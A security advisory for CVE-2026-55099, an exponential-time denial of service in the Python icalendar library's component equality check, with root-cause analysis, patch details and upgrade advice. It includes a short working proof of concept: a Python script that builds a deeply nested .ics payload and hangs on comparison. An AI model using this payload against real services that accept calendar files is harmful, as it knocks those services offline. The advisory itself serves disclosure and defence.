high · 7.5CVE-2026-55099Aug 25, 2026

CVE-2026-55099: icalendar Algorithmic Complexity Denial of Service in Component Equality

Rohit Hatagale
AI Security Researcher, SecureLayer7

A sub-kilobyte .ics file with deeply nested calendar components can cause Python's icalendar library to hang for minutes or indefinitely when any equality check is performed on parsed data.

Packageicalendar
Ecosystempip
Affected>= 7.1.0, < 7.1.3
Fixed in7.1.3
CVE-2026-55099: icalendar Algorithmic Complexity Denial of Service in Component Equality

The problem

icalendar's Component.__eq__ method (introduced in 7.1.0) checks subcomponent equivalence using two nested membership loops. Each not in test recursively calls __eq__ on children, so the cost doubles at every level of nesting: T(n) = 2*T(n-1), giving O(2^n) time.

The parser imposes no depth limit on BEGIN/END blocks, so nesting can be arbitrarily deep. Parsing is instant; the exponential cost is paid only when a comparison runs, and only when the attacker-supplied operands are equal far enough down the tree to keep both loops recursing.

A single uploaded .ics file containing two identical deeply nested events is enough.

Proof of concept

A working proof-of-concept for CVE-2026-55099 in icalendar, with the exact payload below.

python
from icalendar import Calendar

# Depth 26 => ~48 s on CPython 3.14; depth 30 => ~13 min
d = 26
event = b"BEGIN:VEVENT\r\n" * d + b"END:VEVENT\r\n" * d
ics = b"BEGIN:VCALENDAR\r\n" + event + event + b"END:VCALENDAR\r\n"

cal = Calendar.from_ical(ics)  # instant
a, b = cal.subcomponents
a == b  # hangs

The root cause is CWE-407: the old __eq__ walked subcomponents with two for x in list loops, each using in to check membership. Membership on a list calls __eq__ on every element, so for a symmetric nested structure both loops recurse the full subtree, spawning two comparisons per level.

The patch (commits b6b2608 and cad40cd) replaces the recursive implementation with an explicit stack-based walk. Each pair of components is matched exactly once, reducing overall complexity to O(n) in the total number of components. Semantics (multiset equivalence, commutativity) are preserved.

The fix

Upgrade to icalendar 7.1.3 or later. The fix is in src/icalendar/cal/component.py. If an immediate upgrade is not possible, avoid calling ==, !=, in, or any set/dict operation on components parsed from untrusted input until patched.

`` pip install "icalendar>=7.1.3" ``

Reported by tidusec.

References: [1][2][3][4][5]

Related research